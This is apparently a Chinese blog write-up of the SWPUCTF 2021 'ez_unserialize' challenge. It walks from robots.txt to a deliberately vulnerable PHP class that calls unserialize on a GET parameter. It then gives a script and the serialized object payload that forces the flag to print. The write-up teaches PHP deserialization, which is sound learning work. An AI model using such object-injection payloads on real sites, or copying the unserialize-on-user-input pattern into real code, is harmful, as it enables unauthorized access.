[SWPUCTF 2021 新生赛]ez_unserialize

发布时间 2023-05-16 23:21:56作者: Y_Onism


题目在哪呢?查看源代码试试

User-agent: *
Disallow: 什么东西呢

发现disallow

Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可抓,哪些页面不能抓。

disallow就是爬虫不能搜索的所以我们去看看robots.txt

看到/cl45s.php,直接打开
接下来就是 php代码审计

<?php
 
error_reporting(0);      #通过error_reporting屏蔽报错
show_source("cl45s.php"); #将c145s.php的代码显示到页面上
 
class wllm{               #定义了一个wllm类
 
    public $admin;        #公共变量admin
    public $passwd;       #公共变量passwd
 
 
    public function __construct(){ #construct当类创建时调用
        $this->admin ="user";     #指定admin的值为user
        $this->passwd = "123456"; #指定passwd的值为123456
    }
 
        public function __destruct(){ #destruct当对象要销毁时调用
        if($this->admin === "admin" && $this->passwd === "ctf"){  #if判断 admin的值是不是admin passwd的值是不是ctf
            include("flag.php");  #include包含flag 当if判断成立时执行
            echo $flag;           #输出flag     
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
 
$p = $_GET['p'];   #get方法获取p并赋值
unserialize($p);   #对p进行反序列化
 
?>

简单构造一下(当然了 也可以手搓)

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}
 
$p = new wllm();
echo serialize($p);

p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

解释一下:

O:4:"wllm":2:
O就是object对象的意思,4代表着对象的函数名为4个字节
2表示对象中有俩个变量(不同魔法函数,结果不同)

{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
大括号里s代表string类型还有i是int型;
前者为变量 后者为变量的值